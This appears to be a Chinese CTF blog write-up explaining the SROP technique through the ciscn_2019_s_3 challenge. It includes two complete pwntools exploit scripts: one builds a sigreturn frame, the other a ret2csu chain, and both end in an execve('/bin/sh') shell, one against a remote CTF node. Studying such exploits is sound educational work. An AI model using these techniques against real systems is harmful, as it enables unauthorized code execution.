SROP可以在gadgets很少的时候的栈利用里使用,近期学习linux后,明白了程序进行系统调用时,状态会从用户态切换到内核态。而切换的实质是将用户态的寄存器保存。而返回的时候,再重新恢复用户态的寄存器。系统调用signreturn,是内核态恢复到用户态;它的具体操作是**[从用户的栈中弹出寄存器的值]{.mark}**。因此,如果栈能被我们控制,然后我们能够构造signreturn的系统调用,那么就能完成利用。我们的目的就是可以借助signreturn来控制全部的寄存器。
例题ciscn_2019_s_3
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,存在一个栈溢出漏洞。
这里,正好我们能控制rax为0xF,x64下的linux的signreturn系统调用号正好为0xF。于是,我们便可以利用SROP来达到利用。
完整的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import *
context(os='linux',arch='amd64') sh = process('./ciscn_s_3')
csu_call = 0x0000000000400580 csu_pop = 0x000000000040059A mov_rax_sigreturn = 0x00000000004004DA syscall = 0x0000000000400517 vuln = 0x00000000004004ED pop_rdi = 0x00000000004005a3 payload = 'a'*0x10 + p64(vuln) sh.send(payload) sh.recv(0x20) stack_addr = u64(sh.recv(6).ljust(8,'\x00')) binsh_addr = stack_addr - 0x118 print 'binsh_addr=',hex(binsh_addr) print 'stack_addr=',hex(stack_addr)
frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = binsh_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall
payload = '/bin/sh'.ljust(0x10,'\x00') + p64(mov_rax_sigreturn) + p64(syscall) + str(frame) sh.send(payload)
sh.interactive()
|
另外一种方法是ret2csu,构造execve的系统调用。这里正好rax能够控制为0x3B,x64下对应的系统调用为execve。
于是解法二完整的exp为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import *
sh = remote('node3.buuoj.cn',26491) csu_call = 0x0000000000400580 csu_pop = 0x000000000040059A mov_rax_execvecall = 0x00000000004004E2 syscall = 0x0000000000400517 vuln = 0x00000000004004ED pop_rdi = 0x00000000004005a3 payload = 'a'*0x10 + p64(vuln) sh.send(payload) sh.recv(0x20) stack_addr = u64(sh.recv(6).ljust(8,'\x00')) binsh_addr = stack_addr - 0x118 print 'binsh_addr=',hex(binsh_addr) print 'stack_addr=',hex(stack_addr) payload = '/bin/sh'.ljust(0x10,'\x00') + p64(csu_pop) payload += p64(0) payload += p64(1)
payload += p64(stack_addr - 0xC0) payload += p64(0)*3 payload += p64(mov_rax_execvecall) payload += p64(csu_call)
payload += p64(pop_rdi) + p64(binsh_addr) payload += p64(syscall) sh.send(payload)
sh.interactive()
|